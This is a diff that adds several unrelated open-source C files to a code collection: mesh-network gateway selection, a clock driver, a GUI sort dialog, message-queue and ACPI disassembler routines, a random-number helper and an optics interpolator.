"tc_set.h" +#include "lq_plugin.h" + +/* System includes */ + +/** + * Determine the speed on which a gateway is chosen + * @param gw the gateway entry + * @return the speed + */ +static inline unsigned long long gw_speed(struct gateway_entry *gw) { + return (gw->uplink + gw->downlink); +} + +/** + * Determine the best gateway for uplink: this is the cluster leader. + * + * Loop over all gateways to find the best one and return it. + * When no best gateway is found then we return ourselves so that the behaviour + * degrades gracefully. + * + * A gateway is better when the sum of its uplink and downlink are greater than + * the previous best gateway. In case of a tie, the lowest IP address wins. + * + * This code is copied from lib/txtinfo/src/olsrd_txtinfo.c, function ipc_print_gateway. + * It adjusted for best gateway selection but otherwise kept the same as much + * as possible. + * + * @param bestGateway + * a pointer to the variable in which to store the best gateway + */ +void getBestUplinkGateway(union olsr_ip_addr * bestGateway) { + struct gateway_entry *gw_best = NULL; + unsigned long long gw_best_value = 0; + struct gateway_entry *gw; + + OLSR_FOR_ALL_GATEWAY_ENTRIES(gw) { + bool eval4 = false; + bool eval6 = false; + + struct tc_entry * tc = olsr_lookup_tc_entry(&gw->originator); + if (!tc) { + /* gateways should not exist without tc entry */ + continue; + } + + if (tc->path_cost == ROUTE_COST_BROKEN) { + /* do not consider nodes with an infinite ETX */ + continue; + } + + if (!gw->uplink || !gw->downlink) { + /* do not consider nodes without bandwidth or with a uni-directional link */ + continue; + } + + if (gw == olsr_get_ipv4_inet_gateway()) { + eval4 = true; + } else if (gw->ipv4 + && (olsr_cnf->ip_version == AF_INET || olsr_cnf->use_niit) + && (olsr_cnf->smart_gw_allow_nat || !gw->ipv4nat)) { + eval4 = true; + } + + if (gw == olsr_get_ipv6_inet_gateway()) { + eval6 = true; + } else if (gw->ipv6 && olsr_cnf->ip_version == AF_INET6) { + eval6 = true; + } + + if (eval4 || eval6) { + unsigned long long gw_value = gw_speed(gw); + if (gw_value > gw_best_value) { + gw_best = gw; + gw_best_value = gw_value; + } else if (gw_value == gw_best_value) { + bool gwHaslowerIpAddress = false; + if (eval4) { + gwHaslowerIpAddress = (ip4cmp(&gw->originator.v4, + &gw_best->originator.v4) < 0); + } else /* eval6 */{ + gwHaslowerIpAddress = (ip6cmp(&gw->originator.v6, + &gw_best->originator.v6) < 0); + } + if (gwHaslowerIpAddress) { + gw_best = gw; + gw_best_value = gw_value; + } + } + } + } OLSR_FOR_ALL_GATEWAY_ENTRIES_END(gw) + + if (!gw_best) { + /* degrade gracefully */ + *bestGateway = olsr_cnf->main_addr; + return; + } + + *bestGateway = gw_best->originator; +} diff --git a/pool/shard011/C/0141596_parse.c b/pool/shard011/C/0141596_parse.c new file mode 100644 index 0000000000000000000000000000000000000000..09e460c5b7c0a53e9357251dc831cca766854549 --- /dev/null +++ b/pool/shard011/C/0141596_parse.c @@ -0,0 +1,27 @@ +#include +#include +#include +#include + +#define MAX_BUF_SIZE 512 + +int main(void) +{ + char *cmd = "python /usr/local/digioceanfs_manager/manager/digi_manager.pyc node list_disk"; + FILE *fp = NULL; + char buf[MAX_BUF_SIZE] = {0,}; + char *s = NULL; + + fp = popen(cmd, "r"); + if (!fp) { + perror("allocate fp failed!"); + exit (-1); + } + + while (fgets(buf, sizeof(buf), fp)) + printf ("%s", buf); + + pclose(fp); + + return 0; +} diff --git a/pool/shard011/C/0141597_random.c b/pool/shard011/C/0141597_random.c new file mode 100644 index 0000000000000000000000000000000000000000..00f2393b54a25f995a577ed3f8cac2278b2ec0de --- /dev/null +++ b/pool/shard011/C/0141597_random.c @@ -0,0 +1,72 @@ +/* + Copyright Kingshuk . + + This file is part of CITY. + + CITY is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + CITY is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with CITY. If not, see . + */ + +/* + * Random numbers will be generated in range [min, max]. + */ + +#include +#include +#include + +#include"random.h" + + +static const double tolerance= 1.0e-15; + + +static +void initializeRandom(void) +{ + srand(time(NULL)); + return; +} + +static +int getRandom(void) +{ + static char flag= 1; + + if(flag) { + flag= 0; + initializeRandom(); + } + return rand(); +} + +int getRandomInt(int min, int max) +{ + unsigned int span= 0; + if(max<= min) { + return min; + } + span= max- min+ 1; + + return min+ getRandom()% span; +} + +double getRandomDouble(double min, double max) +{ + double span= max- min; + if(fabs(span)< tolerance) { + return min; + } + + return min+ (span* (double) getRandom())/ ((double) RAND_MAX); +} diff --git a/pool/shard011/C/0141598_gator_events_mali_midgard_hw_test.c b/pool/shard011/C/0141598_gator_events_mali_midgard_hw_test.c new file mode 100644 index 0000000000000000000000000000000000000000..31a91e1c72b28c788e08c70ffb29a56782e8ee09 --- /dev/null +++ b/pool/shard011/C/0141598_gator_events_mali_midgard_hw_test.c @@ -0,0 +1,55 @@ +/** + * Copyright (C) ARM Limited 2012-2014. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + * + */ + +/** + * Test functions for mali_t600_hw code. + */ + +static int is_read_scheduled(const struct timespec *current_time, u32 *prev_time_s, s32 *next_read_time_ns); + +static int test_is_read_scheduled(u32 s, u32 ns, u32 prev_s, s32 next_ns, int expected_result, s32 expected_next_ns) +{ + struct timespec current_time; + u32 prev_time_s = prev_s; + s32 next_read_time_ns = next_ns; + + current_time.tv_sec = s; + current_time.tv_nsec = ns; + + if (is_read_scheduled(¤t_time, &prev_time_s, &next_read_time_ns) != expected_result) { + pr_err("Failed do_read(%u, %u, %u, %d): expected %d\n", s, ns, prev_s, next_ns, expected_result); + return 0; + } + + if (next_read_time_ns != expected_next_ns) { + pr_err("Failed: next_read_ns expected=%d, actual=%d\n", expected_next_ns, next_read_time_ns); + return 0; + } + + return 1; +} + +static void test_all_is_read_scheduled(void) +{ + const int HIGHEST_NS = 999999999; + int n_tests_passed = 0; + + pr_err("gator: running tests on %s\n", __FILE__); + + n_tests_passed += test_is_read_scheduled(0, 0, 0, 0, 1, READ_INTERVAL_NSEC); /* Null time */ + n_tests_passed += test_is_read_scheduled(100, 1000, 0, 0, 1, READ_INTERVAL_NSEC + 1000); /* Initial values */ + + n_tests_passed += test_is_read_scheduled(100, HIGHEST_NS, 100, HIGHEST_NS + 500, 0, HIGHEST_NS + 500); + n_tests_passed += test_is_read_scheduled(101, 0001, 100, HIGHEST_NS + 500, 0, HIGHEST_NS + 500 - NSEC_PER_SEC); + n_tests_passed += test_is_read_scheduled(101, 600, 100, HIGHEST_NS + 500 - NSEC_PER_SEC, 1, 600 + READ_INTERVAL_NSEC); + + n_tests_passed += test_is_read_scheduled(101, 600, 100, HIGHEST_NS + 500, 1, 600 + READ_INTERVAL_NSEC); + + pr_err("gator: %d tests passed\n", n_tests_passed); +} diff --git a/pool/shard011/C/0141599_abx500-clk.c b/pool/shard011/C/0141599_abx500-clk.c new file mode 100644 index 0000000000000000000000000000000000000000..2257d12ba988c54b7969c3aee1f99473d908d98b --- /dev/null +++ b/pool/shard011/C/0141599_abx500-clk.c @@ -0,0 +1,143 @@ +/* + * abx500 clock implementation for ux500 platform. + * + * Copyright (C) 2012 ST-Ericsson SA + * Author: Ulf Hansson + * + * License terms: GNU General Public License (GPL) version 2 + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "clk.h" + +#define AB8500_NUM_CLKS 6 + +static struct clk *ab8500_clks[AB8500_NUM_CLKS]; +static struct clk_onecell_data ab8500_clk_data; + +/* Clock definitions for ab8500 */ +static int ab8500_reg_clks(struct device *dev) +{ + int ret; + struct clk *clk; + struct device_node *np = dev->of_node; + const char *intclk_parents[] = {"ab8500_sysclk", "ulpclk"}; + u16 intclk_reg_sel[] = {0 , AB8500_SYSULPCLKCTRL1}; + u8 intclk_reg_mask[] = {0 , AB8500_SYSULPCLKCTRL1_SYSULPCLKINTSEL_MASK}; + u8 intclk_reg_bits[] = { + 0 , + (1 << AB8500_SYSULPCLKCTRL1_SYSULPCLKINTSEL_SHIFT) + }; + + /* Enable SWAT */ + ret = ab8500_sysctrl_set(AB8500_SWATCTRL, AB8500_SWATCTRL_SWATENABLE); + if (ret) + return ret; + + /* ab8500_sysclk2 */ + clk = clk_reg_sysctrl_gate(dev , "ab8500_sysclk2", "ab8500_sysclk", + AB8500_SYSULPCLKCTRL1, AB8500_SYSULPCLKCTRL1_SYSCLKBUF2REQ, + AB8500_SYSULPCLKCTRL1_SYSCLKBUF2REQ, 0, 0); + ab8500_clks[AB8500_SYSCLK_BUF2] = clk; + + /* ab8500_sysclk3 */ + clk = clk_reg_sysctrl_gate(dev , "ab8500_sysclk3", "ab8500_sysclk", + AB8500_SYSULPCLKCTRL1, AB8500_SYSULPCLKCTRL1_SYSCLKBUF3REQ, + AB8500_SYSULPCLKCTRL1_SYSCLKBUF3REQ, 0, 0); + ab8500_clks[AB8500_SYSCLK_BUF3] = clk; + + /* ab8500_sysclk4 */ + clk = clk_reg_sysctrl_gate(dev , "ab8500_sysclk4", "ab8500_sysclk", + AB8500_SYSULPCLKCTRL1, AB8500_SYSULPCLKCTRL1_SYSCLKBUF4REQ, + AB8500_SYSULPCLKCTRL1_SYSCLKBUF4REQ, 0, 0); + ab8500_clks[AB8500_SYSCLK_BUF4] = clk; + + /* ab_ulpclk */ + clk = clk_reg_sysctrl_gate_fixed_rate(dev, "ulpclk", NULL, + AB8500_SYSULPCLKCTRL1, AB8500_SYSULPCLKCTRL1_ULPCLKREQ, + AB8500_SYSULPCLKCTRL1_ULPCLKREQ, + 38400000, 9000, 0); + ab8500_clks[AB8500_SYSCLK_ULP] = clk; + + /* ab8500_intclk */ + clk = clk_reg_sysctrl_set_parent(dev , "intclk", intclk_parents, 2, + intclk_reg_sel, intclk_reg_mask, intclk_reg_bits, 0); + ab8500_clks[AB8500_SYSCLK_INT] = clk; + + /* ab8500_audioclk */ + clk = clk_reg_sysctrl_gate(dev , "audioclk", "intclk", + AB8500_SYSULPCLKCTRL1, AB8500_SYSULPCLKCTRL1_AUDIOCLKENA, + AB8500_SYSULPCLKCTRL1_AUDIOCLKENA, 0, 0); + ab8500_clks[AB8500_SYSCLK_AUDIO] = clk; + + ab8500_clk_data.clks = ab8500_clks; + ab8500_clk_data.clk_num = ARRAY_SIZE(ab8500_clks); + of_clk_add_provider(np, of_clk_src_onecell_get, &ab8500_clk_data); + + dev_info(dev, "registered clocks for ab850x\n"); + + return 0; +} + +/* Clock definitions for ab8540 */ +static int ab8540_reg_clks(struct device *dev) +{ + return 0; +} + +/* Clock definitions for ab9540 */ +static int ab9540_reg_clks(struct device *dev) +{ + return 0; +} + +static int abx500_clk_probe(struct platform_device *pdev) +{ + struct ab8500 *parent = dev_get_drvdata(pdev->dev.parent); + int ret; + + if (is_ab8500(parent) || is_ab8505(parent)) { + ret = ab8500_reg_clks(&pdev->dev); + } else if (is_ab8540(parent)) { + ret = ab8540_reg_clks(&pdev->dev); + } else if (is_ab9540(parent)) { + ret = ab9540_reg_clks(&pdev->dev); + } else { + dev_err(&pdev->dev, "non supported plf id\n"); + return -ENODEV; + } + + return ret; +} + +static const struct of_device_id abx500_clk_match[] = { + { .compatible = "stericsson,ab8500-clk", }, + {} +}; + +static struct platform_driver abx500_clk_driver = { + .driver = { + .name = "abx500-clk", + .of_match_table = abx500_clk_match, + }, + .probe = abx500_clk_probe, +}; + +static int __init abx500_clk_init(void) +{ + return platform_driver_register(&abx500_clk_driver); +} +arch_initcall(abx500_clk_init); + +MODULE_AUTHOR("Ulf Hansson +#include +#include +#include "multilayer.h" +#include "complex_n_server.h" +#include "numrec/include/nrutil.h" +#include "numrec/include/nr.h" + +// program to slurp in and interpolate data and to return a complex +// index of refraction. the input data needs to be 3 columns, with +// col 1: wavelength [nm] +// col 2: Re(n~) +// col 3: Im(n~) + +int tmp_main(int argc,char *argv[]) { + complex_n_struct *this; + complex n; + float lambda; + + this=init_cpx_index("test_cpx_n_Au.txt"); + + for (lambda=20;lambda<=2500;lambda+=1.0) { + interp_cpx_index(lambda,this,&n); + printf("%f %f %f\n",lambda,n.comp[0],n.comp[1]); + } + exit(0); +} + +complex_n_struct *init_cpx_index(char *filename) { + complex_n_struct *this; + this=(complex_n_struct*)malloc(sizeof(complex_n_struct)); + this->filename=filename; + this->inited=0; + return(this); +} + +int interp_cpx_index (float lam,complex_n_struct *cpxn,complex *n) { + // interpolate cpxn for the value of lam and store results in *n + static int lowindex=0; + if (!cpxn->inited) { + // on first invocation, read in the file requested.. + store_cpx_index_file(cpxn->filename,cpxn); + // now should be ready to interpolate.. + cpxn->inited=1; + } + hunt(cpxn->wave-1,cpxn->n_entries,lam,&lowindex); + // do something special if lowindex=0: then will need to + // interpolate using indices 0 & 1. normally, we interplate using + // indices lowindex-1 and lowindex.. + if (lowindex>0) lowindex--; + { + float u; + int i; + complex n_interp; + u=(lam-cpxn->wave[lowindex])/ + (cpxn->wave[lowindex+1]-cpxn->wave[lowindex]); + for (i=0;i<2;i++) { + n_interp.comp[i] = + u*cpxn->n[lowindex+1].comp[i] + (1-u)*cpxn->n[lowindex].comp[i]; + } + memcpy(n,&n_interp,sizeof(complex)); + } + return(0); +} + +int store_cpx_index_file (char *filename,complex_n_struct *cpxn) { + FILE *fp; + float a[3]; + int n_entries; + if (cpxn->filename==NULL) + cpxn->filename=filename; + if ((fp=fopen(cpxn->filename,"r"))==NULL) { + fprintf(stderr,"can't open file.. exiting.\n"); + exit(1); + } + n_entries=0; + do { + if (fscanf(fp,"%f %f %f\n",&a[0],&a[1],&a[2])!=3) { + fprintf(stderr, + "should be getting 3 numbers on a line here..\nexiting.\n"); + exit(1); + } else { + n_entries++; + } + } while (!feof(fp)); + fprintf(stderr,"opened complex n file %s containing %d entries.\n",filename,n_entries); + cpxn->wave=(float*)malloc(n_entries*sizeof(float)); + cpxn->n=(complex*)malloc(n_entries*sizeof(complex)); + rewind(fp); + n_entries=0; + do { + if (fscanf(fp,"%f %f %f\n",&a[0],&a[1],&a[2])!=3) { + fprintf(stderr, + "should be getting 3 numbers on a line here..\nexiting.\n"); + exit(1); + } else { + cpxn->wave[n_entries]=a[0]; + cpxn->n[n_entries].comp[0]=a[1]; + cpxn->n[n_entries].comp[1]=a[2]; + n_entries++; + } + } while (!feof(fp)); + cpxn->n_entries=n_entries; + return(0); +} diff --git a/pool/shard011/C/0141601_mq_unlink.c b/pool/shard011/C/0141601_mq_unlink.c new file mode 100644 index 0000000000000000000000000000000000000000..aee3478e7571094bbcff2a8c67299b9d885f97ec --- /dev/null +++ b/pool/shard011/C/0141601_mq_unlink.c @@ -0,0 +1,38 @@ +/* + * mq_unlink.c - remove a message queue. + */ + +#include +#include + +#include + +#ifdef __NR_mq_unlink + +#define __NR___syscall_mq_unlink __NR_mq_unlink +static inline _syscall1(int, __syscall_mq_unlink, const char *, name); + +/* Remove message queue */ +int mq_unlink(const char *name) +{ + int ret; + if (name[0] != '/') { + __set_errno(EINVAL); + return -1; + } + + ret = __syscall_mq_unlink(name + 1); + + /* While unlink can return either EPERM or EACCES, mq_unlink should return just EACCES. */ + if (ret < 0) { + ret = errno; + if (ret == EPERM) + ret = EACCES; + __set_errno(ret); + ret = -1; + } + + return ret; +} + +#endif diff --git a/pool/shard011/C/0141602_dlg-sort-order.c b/pool/shard011/C/0141602_dlg-sort-order.c new file mode 100644 index 0000000000000000000000000000000000000000..a08636eb42db00a86d2e6e6e821fc4eea0921579 --- /dev/null +++ b/pool/shard011/C/0141602_dlg-sort-order.c @@ -0,0 +1,175 @@ +/* -*- Mode: C; tab-width: 8; indent-tabs-mode: t; c-basic-offset: 8 -*- */ + +/* + * GThumb + * + * Copyright (C) 2009 The Free Software Foundation, Inc. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Street #330, Boston, MA 02111-1307, USA. + */ + +#include +#include +#include "gth-browser.h" +#include "gth-main.h" +#include "gtk-utils.h" + + +#define GET_WIDGET(name) _gtk_builder_get_widget (data->builder, (name)) + + +enum { + SELECTION_COLUMN_DATA, + SELECTION_COLUMN_NAME +}; + + +typedef struct { + GthBrowser *browser; + GtkBuilder *builder; + GtkWidget *dialog; + GtkWidget *sort_by_combobox; +} DialogData; + + +/* called when the main dialog is closed. */ +static void +destroy_cb (GtkWidget *widget, + DialogData *data) +{ + gth_browser_set_dialog (data->browser, "sort-order", NULL); + g_object_unref (data->builder); + g_free (data); +} + + +static void +apply_sort_order (GtkWidget *widget, + DialogData *data) +{ + GtkTreeIter iter; + GtkTreeModel *tree_model; + GthFileDataSort *sort_type; + + if (! gtk_combo_box_get_active_iter (GTK_COMBO_BOX (data->sort_by_combobox), &iter)) + return; + + tree_model = gtk_combo_box_get_model (GTK_COMBO_BOX (data->sort_by_combobox)); + gtk_tree_model_get (tree_model, &iter, SELECTION_COLUMN_DATA, &sort_type, -1); + + gth_browser_set_sort_order (data->browser, + sort_type, + gtk_toggle_button_get_active (GTK_TOGGLE_BUTTON (GET_WIDGET ("inverse_checkbutton")))); +} + + +void +dlg_sort_order (GthBrowser *browser) +{ + DialogData *data; + GtkListStore *selection_model; + GtkCellRenderer *renderer; + GthFileData *file_data; + GList *scan; + GthFileDataSort *current_sort_type; + gboolean sort_inverse; + int i, i_active; + + if (gth_browser_get_dialog (browser, "sort-order") != NULL) { + gtk_window_present (GTK_WINDOW (gth_browser_get_dialog (browser, "sort-order"))); + return; + } + + data = g_new0 (DialogData, 1); + data->browser = browser; + data->builder = _gtk_builder_new_from_file ("sort-order.ui", NULL); + + /* Get the widgets. */ + + data->dialog = _gtk_builder_get_widget (data->builder, "sort_order_dialog"); + gth_browser_set_dialog (browser, "sort-order", data->dialog); + g_object_set_data (G_OBJECT (data->dialog), "dialog_data", data); + + /* Set widgets data. */ + + selection_model = gtk_list_store_new (2, G_TYPE_POINTER, G_TYPE_STRING); + data->sort_by_combobox = gtk_combo_box_new_with_model (GTK_TREE_MODEL (selection_model)); + g_object_unref (selection_model); + + renderer = gtk_cell_renderer_text_new (); + gtk_cell_layout_pack_start (GTK_CELL_LAYOUT (data->sort_by_combobox), + renderer, + TRUE); + gtk_cell_layout_set_attributes (GTK_CELL_LAYOUT (data->sort_by_combobox), + renderer, + "text", SELECTION_COLUMN_NAME, + NULL); + + file_data = gth_browser_get_location_data (data->browser); + if (file_data != NULL) { + current_sort_type = gth_main_get_sort_type (g_file_info_get_attribute_string (file_data->info, "sort::type")); + sort_inverse = g_file_info_get_attribute_boolean (file_data->info, "sort::inverse"); + } + else + gth_browser_get_sort_order (data->browser, ¤t_sort_type, &sort_inverse); + + for (i = 0, i_active = 0, scan = gth_main_get_all_sort_types (); scan; scan = scan->next, i++) { + GthFileDataSort *sort_type = scan->data; + GtkTreeIter iter; + + if (strcmp (sort_type->name, current_sort_type->name) == 0) + i_active = i; + + gtk_list_store_append (selection_model, &iter); + gtk_list_store_set (selection_model, &iter, + SELECTION_COLUMN_DATA, sort_type, + SELECTION_COLUMN_NAME, sort_type->display_name, + -1); + } + gtk_combo_box_set_active (GTK_COMBO_BOX (data->sort_by_combobox), i_active); + gtk_widget_show (data->sort_by_combobox); + gtk_container_add (GTK_CONTAINER (GET_WIDGET ("sort_by_hbox")), data->sort_by_combobox); + + gtk_label_set_use_underline (GTK_LABEL (GET_WIDGET ("sort_by_label")), TRUE); + gtk_label_set_mnemonic_widget (GTK_LABEL (GET_WIDGET ("sort_by_label")), data->sort_by_combobox); + + gtk_toggle_button_set_active (GTK_TOGGLE_BUTTON (GET_WIDGET ("inverse_checkbutton")), sort_inverse); + + /* Set the signals handlers. */ + + g_signal_connect (G_OBJECT (data->dialog), + "destroy", + G_CALLBACK (destroy_cb), + data); + g_signal_connect_swapped (GET_WIDGET ("close_button"), + "clicked", + G_CALLBACK (gtk_widget_destroy), + G_OBJECT (data->dialog)); + g_signal_connect (GET_WIDGET ("inverse_checkbutton"), + "toggled", + G_CALLBACK (apply_sort_order), + data); + g_signal_connect (data->sort_by_combobox, + "changed", + G_CALLBACK (apply_sort_order), + data); + + /* run dialog. */ + + gtk_window_set_transient_for (GTK_WINDOW (data->dialog), + GTK_WINDOW (browser)); + gtk_window_set_modal (GTK_WINDOW (data->dialog), FALSE); + gtk_widget_show (data->dialog); +} diff --git a/pool/shard011/C/0141603_dmnames.c b/pool/shard011/C/0141603_dmnames.c new file mode 100644 index 0000000000000000000000000000000000000000..c9a006997202a2c0ef39c321cff46936a9129688 --- /dev/null +++ b/pool/shard011/C/0141603_dmnames.c @@ -0,0 +1,499 @@ +/******************************************************************************* + * + * Module Name: dmnames - AML disassembler, names, namestrings, pathnames + * $Revision: 6 $ + * + ******************************************************************************/ + +/****************************************************************************** + * + * 1. Copyright Notice + * + * Some or all of this work - Copyright (c) 1999 - 2003, Intel Corp. + * All rights reserved. + * + * 2. License + * + * 2.1. This is your license from Intel Corp. under its intellectual property + * rights. You may have additional license terms from the party that provided + * you this software, covering your right to use that party's intellectual + * property rights. + * + * 2.2. Intel grants, free of charge, to any person ("Licensee") obtaining a + * copy of the source code appearing in this file ("Covered Code") an + * irrevocable, perpetual, worldwide license under Intel's copyrights in the + * base code distributed originally by Intel ("Original Intel Code") to copy, + * make derivatives, distribute, use and display any portion of the Covered + * Code in any form, with the right to sublicense such rights; and + * + * 2.3. Intel grants Licensee a non-exclusive and non-transferable patent + * license (with the right to sublicense), under only those claims of Intel + * patents that are infringed by the Original Intel Code, to make, use, sell, + * offer to sell, and import the Covered Code and derivative works thereof + * solely to the minimum extent necessary to exercise the above copyright + * license, and in no event shall the patent license extend to any additions + * to or modifications of the Original Intel Code. No other license or right + * is granted directly or by implication, estoppel or otherwise; + * + * The above copyright and patent license is granted only if the following + * conditions are met: + * + * 3. Conditions + * + * 3.1. Redistribution of Source with Rights to Further Distribute Source. + * Redistribution of source code of any substantial portion of the Covered + * Code or modification with rights to further distribute source must include + * the above Copyright Notice, the above License, this list of Conditions, + * and the following Disclaimer and Export Compliance provision. In addition, + * Licensee must cause all Covered Code to which Licensee contributes to + * contain a file documenting the changes Licensee made to create that Covered + * Code and the date of any change. Licensee must include in that file the + * documentation of any changes made by any predecessor Licensee. Licensee + * must include a prominent statement that the modification is derived, + * directly or indirectly, from Original Intel Code. + * + * 3.2. Redistribution of Source with no Rights to Further Distribute Source. + * Redistribution of source code of any substantial portion of the Covered + * Code or modification without rights to further distribute source must + * include the following Disclaimer and Export Compliance provision in the + * documentation and/or other materials provided with distribution. In + * addition, Licensee may not authorize further sublicense of source of any + * portion of the Covered Code, and must include terms to the effect that the + * license from Licensee to its licensee is limited to the intellectual + * property embodied in the software Licensee provides to its licensee, and + * not to intellectual property embodied in modifications its licensee may + * make. + * + * 3.3. Redistribution of Executable. Redistribution in executable form of any + * substantial portion of the Covered Code or modification must reproduce the + * above Copyright Notice, and the following Disclaimer and Export Compliance + * provision in the documentation and/or other materials provided with the + * distribution. + * + * 3.4. Intel retains all right, title, and interest in and to the Original + * Intel Code. + * + * 3.5. Neither the name Intel nor any other trademark owned or controlled by + * Intel shall be used in advertising or otherwise to promote the sale, use or + * other dealings in products derived from or relating to the Covered Code + * without prior written authorization from Intel. + * + * 4. Disclaimer and Export Compliance + * + * 4.1. INTEL MAKES NO WARRANTY OF ANY KIND REGARDING ANY SOFTWARE PROVIDED + * HERE. ANY SOFTWARE ORIGINATING FROM INTEL OR DERIVED FROM INTEL SOFTWARE + * IS PROVIDED "AS IS," AND INTEL WILL NOT PROVIDE ANY SUPPORT, ASSISTANCE, + * INSTALLATION, TRAINING OR OTHER SERVICES. INTEL WILL NOT PROVIDE ANY + * UPDATES, ENHANCEMENTS OR EXTENSIONS. INTEL SPECIFICALLY DISCLAIMS ANY + * IMPLIED WARRANTIES OF MERCHANTABILITY, NONINFRINGEMENT AND FITNESS FOR A + * PARTICULAR PURPOSE. + * + * 4.2. IN NO EVENT SHALL INTEL HAVE ANY LIABILITY TO LICENSEE, ITS LICENSEES + * OR ANY OTHER THIRD PARTY, FOR ANY LOST PROFITS, LOST DATA, LOSS OF USE OR + * COSTS OF PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES, OR FOR ANY INDIRECT, + * SPECIAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THIS AGREEMENT, UNDER ANY + * CAUSE OF ACTION OR THEORY OF LIABILITY, AND IRRESPECTIVE OF WHETHER INTEL + * HAS ADVANCE NOTICE OF THE POSSIBILITY OF SUCH DAMAGES. THESE LIMITATIONS + * SHALL APPLY NOTWITHSTANDING THE FAILURE OF THE ESSENTIAL PURPOSE OF ANY + * LIMITED REMEDY. + * + * 4.3. Licensee shall not export, either directly or indirectly, any of this + * software or system incorporating such software without first obtaining any + * required license or other approval from the U. S. Department of Commerce or + * any other agency or department of the United States Government. In the + * event Licensee exports any such software from the United States or + * re-exports any such software from a foreign destination, Licensee shall + * ensure that the distribution and export/re-export of the software is in + * compliance with all laws, regulations, orders, or other restrictions of the + * U.S. Export Administration Regulations. Licensee agrees that neither it nor + * any of its subsidiaries will export/re-export any technical data, process, + * software, or service, directly or indirectly, to any country for which the + * United States government or any agency thereof requires an export license, + * other governmental approval, or letter of assurance, without first obtaining + * such license, approval or letter. + * + *****************************************************************************/ + + +#include "acpi.h" +#include "acparser.h" +#include "amlcode.h" +#include "acnamesp.h" +#include "acdisasm.h" + + +#ifdef ACPI_DISASSEMBLER + +#define _COMPONENT ACPI_CA_DEBUGGER + ACPI_MODULE_NAME ("dmnames") + + +/******************************************************************************* + * + * FUNCTION: AcpiDmValidateName + * + * PARAMETERS: Name - 4 character ACPI name + * + * RETURN: None + * + * DESCRIPTION: Lookup the name + * + ******************************************************************************/ + +void +AcpiDmValidateName ( + char *Name, + ACPI_PARSE_OBJECT *Op) +{ + +#if 0 + if ((!Name) || + (!Op->Common.Parent)) + { + return; + } + + if (!Op->Common.Node) + { + AcpiOsPrintf (" /**** Name not found or not accessible from this scope ****/ "); + } + + ACPI_PARSE_OBJECT *TargetOp; + + + if ((!Name) || + (!Op->Common.Parent)) + { + return; + } + + TargetOp = AcpiPsFind (Op, Name, 0, 0); + if (!TargetOp) + { + /* + * Didn't find the name in the parse tree. This may be + * a problem, or it may simply be one of the predefined names + * (such as _OS_). Rather than worry about looking up all + * the predefined names, just display the name as given + */ + AcpiOsPrintf (" /**** Name not found or not accessible from this scope ****/ "); + } +#endif + +} + + +/******************************************************************************* + * + * FUNCTION: AcpiDmDumpName + * + * PARAMETERS: Name - 4 character ACPI name + * + * RETURN: Final length of name + * + * DESCRIPTION: Dump an ACPI name, minus any trailing underscores. + * + ******************************************************************************/ + +UINT32 +AcpiDmDumpName ( + char *Name) +{ + UINT32 i; + UINT32 Length; + char *End = Name + ACPI_NAME_SIZE; + + + for (i = 0; i < ACPI_NAME_SIZE; i++) + { + if (Name[i] != '_') + { + End = &Name[i]; + } + } + + Length = (UINT32)(End - Name) + 1; + for (i = 0; i < Length; i++) + { + AcpiOsPrintf ("%c", Name[i]); + } + + return (Length); +} + + +/******************************************************************************* + * + * FUNCTION: AcpiPsDisplayObjectPathname + * + * PARAMETERS: WalkState - Current walk state + * Op - Object whose pathname is to be obtained + * + * RETURN: Status + * + * DESCRIPTION: Diplay the pathname associated with a named object. Two + * versions. One searches the parse tree (for parser-only + * applications suchas AcpiDump), and the other searches the + * ACPI namespace (the parse tree is probably deleted) + * + ******************************************************************************/ + +ACPI_STATUS +AcpiPsDisplayObjectPathname ( + ACPI_WALK_STATE *WalkState, + ACPI_PARSE_OBJECT *Op) +{ + ACPI_STATUS Status; + ACPI_NAMESPACE_NODE *Node; + ACPI_BUFFER Buffer; + UINT32 DebugLevel; + + + /* Save current debug level so we don't get extraneous debug output */ + + DebugLevel = AcpiDbgLevel; + AcpiDbgLevel = 0; + + /* Just get the Node out of the Op object */ + + Node = Op->Common.Node; + if (!Node) + { + /* Node not defined in this scope, look it up */ + + Status = AcpiNsLookup (WalkState->ScopeInfo, Op->Common.Value.String, ACPI_TYPE_ANY, + ACPI_IMODE_EXECUTE, ACPI_NS_SEARCH_PARENT, WalkState, &(Node)); + + if (ACPI_FAILURE (Status)) + { + /* + * We can't get the pathname since the object + * is not in the namespace. This can happen during single + * stepping where a dynamic named object is *about* to be created. + */ + AcpiOsPrintf (" [Path not found]"); + goto Exit; + } + + /* Save it for next time. */ + + Op->Common.Node = Node; + } + + /* Convert NamedDesc/handle to a full pathname */ + + Buffer.Length = ACPI_ALLOCATE_LOCAL_BUFFER; + Status = AcpiNsHandleToPathname (Node, &Buffer); + if (ACPI_FAILURE (Status)) + { + AcpiOsPrintf ("****Could not get pathname****)"); + goto Exit; + } + + AcpiOsPrintf (" (Path %s)", (char *) Buffer.Pointer); + ACPI_MEM_FREE (Buffer.Pointer); + + +Exit: + /* Restore the debug level */ + + AcpiDbgLevel = DebugLevel; + return (Status); +} + + +/******************************************************************************* + * + * FUNCTION: AcpiDmNamestring + * + * PARAMETERS: Name - ACPI Name string to store + * + * RETURN: None + * + * DESCRIPTION: Decode an ACPI namestring. Handles prefix characters + * + ******************************************************************************/ + +void +AcpiDmNamestring ( + char *Name) +{ + UINT32 SegCount; + + + if (!Name) + { + return; + } + + /* Handle all Scope Prefix operators */ + + while (AcpiPsIsPrefixChar (ACPI_GET8 (Name))) + { + /* Append prefix character */ + + 